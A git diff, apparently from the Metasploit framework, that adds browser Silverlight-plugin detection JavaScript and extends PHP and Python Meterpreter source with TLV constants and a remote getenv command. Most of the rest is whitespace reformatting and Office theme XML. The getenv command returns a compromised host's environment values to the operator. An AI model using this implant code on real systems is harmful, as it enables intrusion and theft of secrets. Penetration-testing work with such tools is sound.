<a:font script="Jpan" typeface="ＭＳ ゴシック"/>
|
||||||
|
<a:font script="Hang" typeface="맑은 고딕"/>
|
||||||
|
<a:font script="Hans" typeface="宋体"/>
|
||||||
|
<a:font script="Hant" typeface="新細明體"/>
|
||||||
|
<a:font script="Arab" typeface="Times New Roman"/>
|
||||||
|
<a:font script="Hebr" typeface="Times New Roman"/>
|
||||||
|
<a:font script="Thai" typeface="Angsana New"/>
|
||||||
|
<a:font script="Ethi" typeface="Nyala"/>
|
||||||
|
<a:font script="Beng" typeface="Vrinda"/>
|
||||||
|
<a:font script="Gujr" typeface="Shruti"/>
|
||||||
|
<a:font script="Khmr" typeface="MoolBoran"/>
|
||||||
|
<a:font script="Knda" typeface="Tunga"/>
|
||||||
|
<a:font script="Guru" typeface="Raavi"/>
|
||||||
|
<a:font script="Cans" typeface="Euphemia"/>
|
||||||
|
<a:font script="Cher" typeface="Plantagenet Cherokee"/>
|
||||||
|
<a:font script="Yiii" typeface="Microsoft Yi Baiti"/>
|
||||||
|
<a:font script="Tibt" typeface="Microsoft Himalaya"/>
|
||||||
|
<a:font script="Thaa" typeface="MV Boli"/>
|
||||||
|
<a:font script="Deva" typeface="Mangal"/>
|
||||||
|
<a:font script="Telu" typeface="Gautami"/>
|
||||||
|
<a:font script="Taml" typeface="Latha"/>
|
||||||
|
<a:font script="Syrc" typeface="Estrangelo Edessa"/>
|
||||||
|
<a:font script="Orya" typeface="Kalinga"/>
|
||||||
|
<a:font script="Mlym" typeface="Kartika"/>
|
||||||
|
<a:font script="Laoo" typeface="DokChampa"/>
|
||||||
|
<a:font script="Sinh" typeface="Iskoola Pota"/>
|
||||||
|
<a:font script="Mong" typeface="Mongolian Baiti"/>
|
||||||
|
<a:font script="Viet" typeface="Times New Roman"/>
|
||||||
|
<a:font script="Uigh" typeface="Microsoft Uighur"/>
|
||||||
|
<a:font script="Geor" typeface="Sylfaen"/>
|
||||||
|
</a:majorFont>
|
||||||
|
<a:minorFont>
|
||||||
|
<a:latin typeface="Calibri"/>
|
||||||
|
<a:ea typeface=""/>
|
||||||
|
<a:cs typeface=""/>
|
||||||
|
<a:font script="Jpan" typeface="ＭＳ 明朝"/>
|
||||||
|
<a:font script="Hang" typeface="맑은 고딕"/>
|
||||||
|
<a:font script="Hans" typeface="宋体"/>
|
||||||
|
<a:font script="Hant" typeface="新細明體"/>
|
||||||
|
<a:font script="Arab" typeface="Arial"/>
|
||||||
|
<a:font script="Hebr" typeface="Arial"/>
|
||||||
|
<a:font script="Thai" typeface="Cordia New"/>
|
||||||
|
<a:font script="Ethi" typeface="Nyala"/>
|
||||||
|
<a:font script="Beng" typeface="Vrinda"/>
|
||||||
|
<a:font script="Gujr" typeface="Shruti"/>
|
||||||
|
<a:font script="Khmr" typeface="DaunPenh"/>
|
||||||
|
<a:font script="Knda" typeface="Tunga"/>
|
||||||
|
<a:font script="Guru" typeface="Raavi"/>
|
||||||
|
<a:font script="Cans" typeface="Euphemia"/>
|
||||||
|
<a:font script="Cher" typeface="Plantagenet Cherokee"/>
|
||||||
|
<a:font script="Yiii" typeface="Microsoft Yi Baiti"/>
|
||||||
|
<a:font script="Tibt" typeface="Microsoft Himalaya"/>
|
||||||
|
<a:font script="Thaa" typeface="MV Boli"/>
|
||||||
|
<a:font script="Deva" typeface="Mangal"/>
|
||||||
|
<a:font script="Telu" typeface="Gautami"/>
|
||||||
|
<a:font script="Taml" typeface="Latha"/>
|
||||||
|
<a:font script="Syrc" typeface="Estrangelo Edessa"/>
|
||||||
|
<a:font script="Orya" typeface="Kalinga"/>
|
||||||
|
<a:font script="Mlym" typeface="Kartika"/>
|
||||||
|
<a:font script="Laoo" typeface="DokChampa"/>
|
||||||
|
<a:font script="Sinh" typeface="Iskoola Pota"/>
|
||||||
|
<a:font script="Mong" typeface="Mongolian Baiti"/>
|
||||||
|
<a:font script="Viet" typeface="Arial"/>
|
||||||
|
<a:font script="Uigh" typeface="Microsoft Uighur"/>
|
||||||
|
<a:font script="Geor" typeface="Sylfaen"/>
|
||||||
|
</a:minorFont>
|
||||||
|
</a:fontScheme>
|
||||||
|
<a:fmtScheme name="Office">
|
||||||
|
<a:fillStyleLst>
|
||||||
|
<a:solidFill>
|
||||||
|
<a:schemeClr val="phClr"/>
|
||||||
|
</a:solidFill>
|
||||||
|
<a:gradFill rotWithShape="1">
|
||||||
|
<a:gsLst>
|
||||||
|
<a:gs pos="0">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:tint val="50000"/>
|
||||||
|
<a:satMod val="300000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
<a:gs pos="35000">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:tint val="37000"/>
|
||||||
|
<a:satMod val="300000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
<a:gs pos="100000">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:tint val="15000"/>
|
||||||
|
<a:satMod val="350000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
</a:gsLst>
|
||||||
|
<a:lin ang="16200000" scaled="1"/>
|
||||||
|
</a:gradFill>
|
||||||
|
<a:gradFill rotWithShape="1">
|
||||||
|
<a:gsLst>
|
||||||
|
<a:gs pos="0">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:shade val="51000"/>
|
||||||
|
<a:satMod val="130000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
<a:gs pos="80000">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:shade val="93000"/>
|
||||||
|
<a:satMod val="130000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
<a:gs pos="100000">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:shade val="94000"/>
|
||||||
|
<a:satMod val="135000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
</a:gsLst>
|
||||||
|
<a:lin ang="16200000" scaled="0"/>
|
||||||
|
</a:gradFill>
|
||||||
|
</a:fillStyleLst>
|
||||||
|
<a:lnStyleLst>
|
||||||
|
<a:ln w="9525" cap="flat" cmpd="sng" algn="ctr">
|
||||||
|
<a:solidFill>
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:shade val="95000"/>
|
||||||
|
<a:satMod val="105000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:solidFill>
|
||||||
|
<a:prstDash val="solid"/>
|
||||||
|
</a:ln>
|
||||||
|
<a:ln w="25400" cap="flat" cmpd="sng" algn="ctr">
|
||||||
|
<a:solidFill>
|
||||||
|
<a:schemeClr val="phClr"/>
|
||||||
|
</a:solidFill>
|
||||||
|
<a:prstDash val="solid"/>
|
||||||
|
</a:ln>
|
||||||
|
<a:ln w="38100" cap="flat" cmpd="sng" algn="ctr">
|
||||||
|
<a:solidFill>
|
||||||
|
<a:schemeClr val="phClr"/>
|
||||||
|
</a:solidFill>
|
||||||
|
<a:prstDash val="solid"/>
|
||||||
|
</a:ln>
|
||||||
|
</a:lnStyleLst>
|
||||||
|
<a:effectStyleLst>
|
||||||
|
<a:effectStyle>
|
||||||
|
<a:effectLst>
|
||||||
|
<a:outerShdw blurRad="40000" dist="20000" dir="5400000" rotWithShape="0">
|
||||||
|
<a:srgbClr val="000000">
|
||||||
|
<a:alpha val="38000"/>
|
||||||
|
</a:srgbClr>
|
||||||
|
</a:outerShdw>
|
||||||
|
</a:effectLst>
|
||||||
|
</a:effectStyle>
|
||||||
|
<a:effectStyle>
|
||||||
|
<a:effectLst>
|
||||||
|
<a:outerShdw blurRad="40000" dist="23000" dir="5400000" rotWithShape="0">
|
||||||
|
<a:srgbClr val="000000">
|
||||||
|
<a:alpha val="35000"/>
|
||||||
|
</a:srgbClr>
|
||||||
|
</a:outerShdw>
|
||||||
|
</a:effectLst>
|
||||||
|
</a:effectStyle>
|
||||||
|
<a:effectStyle>
|
||||||
|
<a:effectLst>
|
||||||
|
<a:outerShdw blurRad="40000" dist="23000" dir="5400000" rotWithShape="0">
|
||||||
|
<a:srgbClr val="000000">
|
||||||
|
<a:alpha val="35000"/>
|
||||||
|
</a:srgbClr>
|
||||||
|
</a:outerShdw>
|
||||||
|
</a:effectLst>
|
||||||
|
<a:scene3d>
|
||||||
|
<a:camera prst="orthographicFront">
|
||||||
|
<a:rot lat="0" lon="0" rev="0"/>
|
||||||
|
</a:camera>
|
||||||
|
<a:lightRig rig="threePt" dir="t">
|
||||||
|
<a:rot lat="0" lon="0" rev="1200000"/>
|
||||||
|
</a:lightRig>
|
||||||
|
</a:scene3d>
|
||||||
|
<a:sp3d>
|
||||||
|
<a:bevelT w="63500" h="25400"/>
|
||||||
|
</a:sp3d>
|
||||||
|
</a:effectStyle>
|
||||||
|
</a:effectStyleLst>
|
||||||
|
<a:bgFillStyleLst>
|
||||||
|
<a:solidFill>
|
||||||
|
<a:schemeClr val="phClr"/>
|
||||||
|
</a:solidFill>
|
||||||
|
<a:gradFill rotWithShape="1">
|
||||||
|
<a:gsLst>
|
||||||
|
<a:gs pos="0">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:tint val="40000"/>
|
||||||
|
<a:satMod val="350000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
<a:gs pos="40000">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:tint val="45000"/>
|
||||||
|
<a:shade val="99000"/>
|
||||||
|
<a:satMod val="350000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
<a:gs pos="100000">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:shade val="20000"/>
|
||||||
|
<a:satMod val="255000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
</a:gsLst>
|
||||||
|
<a:path path="circle">
|
||||||
|
<a:fillToRect l="50000" t="-80000" r="50000" b="180000"/>
|
||||||
|
</a:path>
|
||||||
|
</a:gradFill>
|
||||||
|
<a:gradFill rotWithShape="1">
|
||||||
|
<a:gsLst>
|
||||||
|
<a:gs pos="0">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:tint val="80000"/>
|
||||||
|
<a:satMod val="300000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
<a:gs pos="100000">
|
||||||
|
<a:schemeClr val="phClr">
|
||||||
|
<a:shade val="30000"/>
|
||||||
|
<a:satMod val="200000"/>
|
||||||
|
</a:schemeClr>
|
||||||
|
</a:gs>
|
||||||
|
</a:gsLst>
|
||||||
|
<a:path path="circle">
|
||||||
|
<a:fillToRect l="50000" t="50000" r="50000" b="50000"/>
|
||||||
|
</a:path>
|
||||||
|
</a:gradFill>
|
||||||
|
</a:bgFillStyleLst>
|
||||||
|
</a:fmtScheme>
|
||||||
|
</a:themeElements>
|
||||||
|
<a:objectDefaults/>
|
||||||
|
<a:extraClrSchemeLst/>
|
||||||
|
</a:theme>
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<w:webSettings xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
|
||||||
|
<w:optimizeForBrowser/>
|
||||||
|
</w:webSettings>
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,5 +1,51 @@
|
||||||
window.misc_addons_detect = { };
|
window.misc_addons_detect = { };
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Detects whether the browser supports Silverlight or not
|
||||||
|
**/
|
||||||
|
window.misc_addons_detect.hasSilverlight = function () {
|
||||||
|
var found = false;
|
||||||
|
|
||||||
|
//
|
||||||
|
// When on IE, we can use AgControl.AgControl to actually detect the version too.
|
||||||
|
// But this ability is specific to IE, so we fall back to just true/false response
|
||||||
|
//
|
||||||
|
try {
|
||||||
|
var ax = new ActiveXObject('AgControl.AgControl');
|
||||||
|
found = true;
|
||||||
|
} catch(e) {}
|
||||||
|
|
||||||
|
//
|
||||||
|
// ActiveX didn't get anything, try looking in MIMEs
|
||||||
|
//
|
||||||
|
if (!found) {
|
||||||
|
var mimes = window.navigator.mimeTypes;
|
||||||
|
for (var i=0; i < mimes.length; i++) {
|
||||||
|
if (/x\-silverlight/.test(mimes[i].type)) {
|
||||||
|
found = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// MIMEs didn't work either. Try navigator.
|
||||||
|
//
|
||||||
|
if (!found) {
|
||||||
|
var count = navigator.plugins.length;
|
||||||
|
for (var i=0; i < count; i++) {
|
||||||
|
var pluginName = navigator.plugins[i].name;
|
||||||
|
if (/Silverlight Plug\-In/.test(pluginName)) {
|
||||||
|
found = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Returns the Java version
|
* Returns the Java version
|
||||||
**/
|
**/
|
||||||
|
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -78,6 +78,14 @@ define("TLV_TYPE_VALUE_DATA", TLV_META_TYPE_RAW | 1012);
|
||||||
define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040);
|
define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040);
|
||||||
define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041);
|
define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041);
|
||||||
define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042);
|
define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042);
|
||||||
|
define("TLV_TYPE_ARCHITECTURE", TLV_META_TYPE_STRING | 1043);
|
||||||
|
define("TLV_TYPE_LANG_SYSTEM", TLV_META_TYPE_STRING | 1044);
|
||||||
|
|
||||||
|
# Environment
|
||||||
|
define("TLV_TYPE_ENV_VARIABLE", TLV_META_TYPE_STRING | 1100);
|
||||||
|
define("TLV_TYPE_ENV_VALUE", TLV_META_TYPE_STRING | 1101);
|
||||||
|
define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102);
|
||||||
|
|
||||||
|
|
||||||
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
|
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
|
||||||
|
|
||||||
|
|
@ -162,7 +170,7 @@ define("ERROR_CONNECTION_ERROR", 10000);
|
||||||
# eval'd twice
|
# eval'd twice
|
||||||
my_print("Evaling stdapi");
|
my_print("Evaling stdapi");
|
||||||
|
|
||||||
##
|
##
|
||||||
# Search Helpers
|
# Search Helpers
|
||||||
##
|
##
|
||||||
|
|
||||||
|
|
@ -197,38 +205,38 @@ define('GLOB_RECURSE',2048);
|
||||||
*/
|
*/
|
||||||
if (!function_exists('safe_glob')) {
|
if (!function_exists('safe_glob')) {
|
||||||
function safe_glob($pattern, $flags=0) {
|
function safe_glob($pattern, $flags=0) {
|
||||||
$split=explode('/',str_replace('\\','/',$pattern));
|
$split=explode('/',str_replace('\\','/',$pattern));
|
||||||
$mask=array_pop($split);
|
$mask=array_pop($split);
|
||||||
$path=implode('/',$split);
|
$path=implode('/',$split);
|
||||||
if (($dir=opendir($path))!==false) {
|
if (($dir=opendir($path))!==false) {
|
||||||
$glob=array();
|
$glob=array();
|
||||||
while (($file=readdir($dir))!==false) {
|
while (($file=readdir($dir))!==false) {
|
||||||
// Recurse subdirectories (GLOB_RECURSE)
|
// Recurse subdirectories (GLOB_RECURSE)
|
||||||
if (
|
if (
|
||||||
(
|
(
|
||||||
$flags&GLOB_RECURSE) && is_dir($path."/".$file)
|
$flags&GLOB_RECURSE) && is_dir($path."/".$file)
|
||||||
&& (!in_array($file,array('.','..'))
|
&& (!in_array($file,array('.','..'))
|
||||||
# don't follow links to avoid infinite recursion
|
# don't follow links to avoid infinite recursion
|
||||||
&& (!is_link($path."/".$file))
|
&& (!is_link($path."/".$file))
|
||||||
)
|
)
|
||||||
) {
|
) {
|
||||||
$glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags),
|
$glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags),
|
||||||
($flags&GLOB_PATH?'':$file.'/')));
|
($flags&GLOB_PATH?'':$file.'/')));
|
||||||
}
|
}
|
||||||
// Match file mask
|
// Match file mask
|
||||||
if (fnmatch($mask,$file)) {
|
if (fnmatch($mask,$file)) {
|
||||||
if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") )
|
if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") )
|
||||||
&& ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) )
|
&& ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) )
|
||||||
&& ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) )
|
&& ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) )
|
||||||
$glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':'');
|
$glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':'');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
closedir($dir);
|
closedir($dir);
|
||||||
if (!($flags&GLOB_NOSORT)) sort($glob);
|
if (!($flags&GLOB_NOSORT)) sort($glob);
|
||||||
return $glob;
|
return $glob;
|
||||||
} else {
|
} else {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
/**
|
/**
|
||||||
|
|
@ -239,7 +247,7 @@ function safe_glob($pattern, $flags=0) {
|
||||||
*/
|
*/
|
||||||
if (!function_exists('fnmatch')) {
|
if (!function_exists('fnmatch')) {
|
||||||
function fnmatch($pattern, $string) {
|
function fnmatch($pattern, $string) {
|
||||||
return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
|
return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -261,7 +269,7 @@ function array_prepend($array, $string, $deep=false) {
|
||||||
else
|
else
|
||||||
$array[$key] = $string.$element;
|
$array[$key] = $string.$element;
|
||||||
return $array;
|
return $array;
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -519,13 +527,13 @@ function stdapi_fs_md5($req, &$pkt) {
|
||||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||||
$path = cononicalize_path($path_tlv['value']);
|
$path = cononicalize_path($path_tlv['value']);
|
||||||
|
|
||||||
if (is_callable("md5_file")) {
|
if (is_callable("md5_file")) {
|
||||||
$md5 = md5_file($path);
|
$md5 = md5_file($path);
|
||||||
} else {
|
} else {
|
||||||
$md5 = md5(file_get_contents($path));
|
$md5 = md5(file_get_contents($path));
|
||||||
}
|
}
|
||||||
$md5 = pack("H*", $md5);
|
$md5 = pack("H*", $md5);
|
||||||
# Ghetto abuse of file name type to indicate the md5 result
|
# Ghetto abuse of file name type to indicate the md5 result
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
@ -538,13 +546,13 @@ function stdapi_fs_sha1($req, &$pkt) {
|
||||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||||
$path = cononicalize_path($path_tlv['value']);
|
$path = cononicalize_path($path_tlv['value']);
|
||||||
|
|
||||||
if (is_callable("sha1_file")) {
|
if (is_callable("sha1_file")) {
|
||||||
$sha1 = sha1_file($path);
|
$sha1 = sha1_file($path);
|
||||||
} else {
|
} else {
|
||||||
$sha1 = sha1(file_get_contents($path));
|
$sha1 = sha1(file_get_contents($path));
|
||||||
}
|
}
|
||||||
$sha1 = pack("H*", $sha1);
|
$sha1 = pack("H*", $sha1);
|
||||||
# Ghetto abuse of file name type to indicate the sha1 result
|
# Ghetto abuse of file name type to indicate the sha1 result
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
@ -573,6 +581,41 @@ function stdapi_sys_config_getuid($req, &$pkt) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (!function_exists('stdapi_sys_config_getenv')) {
|
||||||
|
register_command('stdapi_sys_config_getenv');
|
||||||
|
function stdapi_sys_config_getenv($req, &$pkt) {
|
||||||
|
my_print("doing getenv");
|
||||||
|
|
||||||
|
$variable_tlvs = packet_get_all_tlvs($req, TLV_TYPE_ENV_VARIABLE);
|
||||||
|
|
||||||
|
# If we decide some day to have sys.config.getenv return all env
|
||||||
|
# vars when given an empty search list, this is one way to do it.
|
||||||
|
#if (empty($variable_tlvs)) {
|
||||||
|
# # We don't have a var to look up, return all of 'em
|
||||||
|
# $variables = array_keys($_SERVER);
|
||||||
|
#} else {
|
||||||
|
# $variables = array();
|
||||||
|
# foreach ($variable_tlvs as $tlv) {
|
||||||
|
# array_push($variables, $tlv['value']);
|
||||||
|
# }
|
||||||
|
#}
|
||||||
|
|
||||||
|
foreach ($variable_tlvs as $name) {
|
||||||
|
$canonical_name = str_replace(array("$","%"), "", $name['value']);
|
||||||
|
$env = getenv($canonical_name);
|
||||||
|
if ($env !== FALSE) {
|
||||||
|
$grp = "";
|
||||||
|
$grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VARIABLE, $canonical_name));
|
||||||
|
$grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VALUE, $env));
|
||||||
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENV_GROUP, $grp));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
# Unimplemented becuase it's unimplementable
|
# Unimplemented becuase it's unimplementable
|
||||||
#if (!function_exists('stdapi_sys_config_rev2self')) {
|
#if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||||
#register_command('stdapi_sys_config_rev2self');
|
#register_command('stdapi_sys_config_rev2self');
|
||||||
|
|
@ -696,24 +739,24 @@ function close_process($proc) {
|
||||||
foreach ($proc['pipes'] as $f) {
|
foreach ($proc['pipes'] as $f) {
|
||||||
@fclose($f);
|
@fclose($f);
|
||||||
}
|
}
|
||||||
if (is_callable('proc_get_status')) {
|
if (is_callable('proc_get_status')) {
|
||||||
$status = proc_get_status($proc['handle']);
|
$status = proc_get_status($proc['handle']);
|
||||||
} else {
|
} else {
|
||||||
# fake a running process on php < 4.3
|
# fake a running process on php < 4.3
|
||||||
$status = array('running' => true);
|
$status = array('running' => true);
|
||||||
}
|
}
|
||||||
|
|
||||||
# proc_close blocks waiting for the child to exit, so if it's still
|
# proc_close blocks waiting for the child to exit, so if it's still
|
||||||
# running, don't take a chance on deadlock and just sigkill it if we
|
# running, don't take a chance on deadlock and just sigkill it if we
|
||||||
# can. We can't on php < 4.3, so don't do anything. This will leave
|
# can. We can't on php < 4.3, so don't do anything. This will leave
|
||||||
# zombie processes, but that's better than deadlock.
|
# zombie processes, but that's better than deadlock.
|
||||||
if ($status['running'] == false) {
|
if ($status['running'] == false) {
|
||||||
proc_close($proc['handle']);
|
proc_close($proc['handle']);
|
||||||
} else {
|
} else {
|
||||||
if (is_callable('proc_terminate')) {
|
if (is_callable('proc_terminate')) {
|
||||||
proc_terminate($proc['handle'], 9);
|
proc_terminate($proc['handle'], 9);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) {
|
if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) {
|
||||||
unset($channel_process_map[$proc['cid']]);
|
unset($channel_process_map[$proc['cid']]);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -86,170 +86,185 @@ TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||||
#
|
#
|
||||||
# TLV Specific Types
|
# TLV Specific Types
|
||||||
#
|
#
|
||||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||||
|
|
||||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||||
|
|
||||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||||
|
|
||||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||||
|
|
||||||
##
|
##
|
||||||
# General
|
# General
|
||||||
##
|
##
|
||||||
TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
|
TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
|
||||||
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
||||||
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
|
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
|
||||||
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
|
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
|
||||||
|
|
||||||
##
|
##
|
||||||
# Fs
|
# Fs
|
||||||
##
|
##
|
||||||
TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
|
TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
|
||||||
TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
|
TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
|
||||||
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
|
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
|
||||||
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
|
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
|
||||||
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
|
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
|
||||||
|
|
||||||
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
|
